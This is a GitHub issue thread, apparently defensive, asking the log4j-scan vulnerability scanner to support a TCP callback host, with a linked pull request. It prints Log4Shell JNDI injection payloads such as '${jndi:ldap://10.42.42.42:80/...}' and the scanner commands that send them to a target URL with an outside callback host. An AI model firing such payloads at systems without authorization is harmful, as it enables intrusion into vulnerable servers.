We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Currently, using python log4j-scan.py -u http://locahost --custom-dns-callback-host 10.42.42.42 provides payload:
python log4j-scan.py -u http://locahost --custom-dns-callback-host 10.42.42.42
[•] URL: http://locahost | PAYLOAD: ${jndi:ldap://locahost.10.42.42.42/uhjut64}
Using a DNS callback server is sometime not trivial on a corporate internal network (could depend of network zones, ...).
Having the capabilities to define a direct TCP host (which host a simple TCP receiver, logging any IP trying to connect) could be very useful.
This parameter could be named: --custom-tcp-callback-host and provides the behavior:
--custom-tcp-callback-host
python log4j-scan.py -u http://locahost --custom-tcp-callback-host 10.42.42.42:80 ... [•] URL: http://locahost | PAYLOAD: ${jndi:ldap://10.42.42.42:80/uhjut64}
If considered as relevant, I can provide a PR and the Python receiver.
The text was updated successfully, but these errors were encountered:
Fix fullhunt#80 : Support custom TCP callback host
e0ee17e
38d1043
Reopen for merge in original repo.
Testable from https://github.com/axel3rd/log4j-scan
Sorry, something went wrong.
Successfully merging a pull request may close this issue.
Currently, using
python log4j-scan.py -u http://locahost --custom-dns-callback-host 10.42.42.42
provides payload:Using a DNS callback server is sometime not trivial on a corporate internal network (could depend of network zones, ...).
Having the capabilities to define a direct TCP host (which host a simple TCP receiver, logging any IP trying to connect) could be very useful.
This parameter could be named:
--custom-tcp-callback-host
and provides the behavior:If considered as relevant, I can provide a PR and the Python receiver.
The text was updated successfully, but these errors were encountered: